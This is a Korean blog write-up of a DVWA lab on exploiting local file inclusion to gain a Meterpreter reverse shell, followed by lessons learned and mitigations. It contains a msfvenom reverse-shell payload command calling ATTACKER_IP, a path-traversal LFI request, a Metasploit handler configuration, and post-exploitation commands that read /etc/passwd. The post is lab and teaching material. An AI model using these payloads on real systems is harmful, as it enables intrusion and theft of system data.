이번 실습은 DVWA 환경에서 File Inclusion(파일 포함) 취약점을 활용하여 시스템 내부 파일을 노출시키고, 리버스 쉘을 획득하는 공격 시나리오를 다뤘다. 단순히 민감한 파일 (ex- ../../../etc/passwd)을 여는 것이 아닌, 실제 시스템 장악까지 이어지는 자동화 실습이 핵심이었다.
1. File Inclusion이란?
File Inclusion 취약점은 공격자가 서버에서 include() 또는 require() 함수 등으로 불러오는 파일 경로를 조작하여, 서버 내부 파일을 읽거나 원격 파일을 실행하게 하는 공격이다. 크게 두 가지로 나뉜다.
- LFI (Local File Inclusion) : 로컬 시스템의 파일을 읽는 방식 (../../../etc/passwd 등)
- RFI (Remote File Inclusion) : 외부 URL에서 파일을 포함시켜 실행하는 방식
실제로 이 취약점은 파일 업로드, 경로 필터 우회, 리버스 쉘 획득과 함께 자주 사용된다.
2. 취약점 분석
1)
<?php
$file = $_GET['page'];
include($file);
?>
=> 위와 같은 구조는 사용자 입력값을 아무런 필터링 없이 include()에 사용한다.
따라서 경로 조작 (ex. /fi?page=이 부분 조작)이 가능하고, PHP 파일까지 실행시킬 수 있어 매우 치명적인 취약점이다.
실제 가능한지 확인해 보기 위해 fi/에 abcd.txt를 만들어 테스트해 보았다.
=> 잘 되는 것을 볼 수 있다.
2)
php.ini에 들어가 보면 allow_url_include = On으로 켜져 있다.
이 부분을 막아주면 File Inclusion 취약점 발생을 막는데 조금은 도움이 된다.
=> 이렇게 노출되면 안 되는 민감한 파일들도 들고 올 수 있었다.
3. 리버스 쉘 페이로드 제작 및 업로드
msfvenom -p php/meterpreter/reverse_tcp lhost=ATTACKER_IP lport=4444 > hello.php
- -p php/meterpreter/reverse_tcp : PHP 기반 meterpreter 페이로드
- lhost : 공격자 IP
- lport : 연결받을 포트
- > hello.php : PHP 파일로 저장
※ hello.php는 공격자의 리버스 연결을 기다리는 악성 코드이며, 웹 루트 디렉터리 /var/www/html에 업로드되어야 한다.
4. 공격 요청 (LFI 경로 삽입)
http://TARGET_IP/DVWA/vulnerabilities/fi/?page=../../../hello.php
=> 상위 디렉터리로 경로를 이동한 뒤 업로드된 hello.php를 강제로 포함시켜 실행.
5. Metasploit 설정 (handler.rc)
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost=ATTACKER_IP
set lport=4444
set exitonsession false
run
=> 자동 핸들러로 리버스 연결을 수신받기 위한 설정이다. 위 내용을 handler.rc 파일로 저장해서 실행한다.
msfconsole -r handler.rc
6. 시스템 권한 탈취 및 민감 정보 확인
Meterpreter 세션 확보 이후 다음과 같은 명령 수행 가능
meterpreter > ps -ef
meterpreter > search -f *.php
meterpreter > cat /etc/passwd
meterpreter > cat ./help/help.php
meterpreter > sysinfo
확인된 민감 파일 예시 :
- /etc/passwd (시스템 계정 정보)
- /var/www/html/include.php (DB 접속 정보 가능)
- /var/www/html/help/help.php (전체 소스)
- index.php, source/medium.php 등 12개 이상 PHP 코드 확인
원하는 프로세스 죽일 수도 있고 업로드, 다운로드, search 등 모두 가능해진다.
7. 전체 공격 흐름 요약
단계 | 설명 |
1단계 | 공격자가 msfvenom으로 리버스 쉘 생성 (hello.php) |
2단계 | 공격자는 취약한 서버에 페이로드 업로드 또는 존재 가정 |
3단계 | Metasploit handler 실행(handler.rc) |
4단계 | LFI 취약점을 이용해 hello.php 실행 |
5단계 | 공격자는 Meterpreter 세션 확보 |
6단계 | 시스템 정보, 파일 탐색, 업로드/다운로드, 프로세스 제어 가능 |
8. 배운 점 & 느낀 점
- 단순한 ../../../etc/passwd 수준의 실습을 넘어서, 실제로 시스템을 제어할 수 있다는 것을 경험해 보면서 이 취약점이 실제로는 어떻게 악용되는지 생각해 볼 수 있었다.
- File Inclusion은 파일 업로드, 경로 조작, 쉘 획득과 같은 연계 공격으로 활용되어 파괴력이 커진다는 점도 인상 깊었다.
- 취약한 include($_GET['page']) 코드는 절대 사용하지 말아야 하며, 화이트리스트 또는 고정된 경로만 사용해야 한다.
9. 대응 방안
보안 조치 | 설명 |
경로 화이트리스트 | if($page!='help') die(); 형태의 필터링 |
include 제한 | 사용자 입력을 직접 include에 쓰지 않음 |
웹 루트 외 경로 접근 제한 | /etc/passwd 등 시스템 파일 접근 차단 |
페이로드 탐지 | .php 업로드 차단 및 WAF 도입 |
이 블로그는 불법 해킹 및 악의적인 활동을 지양하며, 그런 행위는 절대 권장하지 않습니다.
모든 실습은 허가된 환경에서만 진행해야 하며, 법적 책임은 사용자 본인에게 있습니다.
'웹 해킹 & 보안' 카테고리의 다른 글
[웹 모의해킹] File Inclusion - 파일 포함 취약점 실습 - 2편 (0) | 2025.06.03 |
---|---|
[웹 모의해킹] File Upload - 파일 업로드 취약점 실습 - 1편 (2) | 2025.06.02 |
[웹 모의해킹] CSRF -3편 - 보안 레벨 Medium, High 자동화 공격 스크립트 및 방어 코드 분석 (4) | 2025.06.01 |
[웹 모의해킹] CSRF - 2편 - 사이트 간 요청 위조 취약점 실습(환경 구성 + 공격 시나리오 + 에러 해결) (2) | 2025.06.01 |
[웹 모의해킹] CSRF - 사이트 간 요청 위조 취약점 실습 (2) | 2025.05.31 |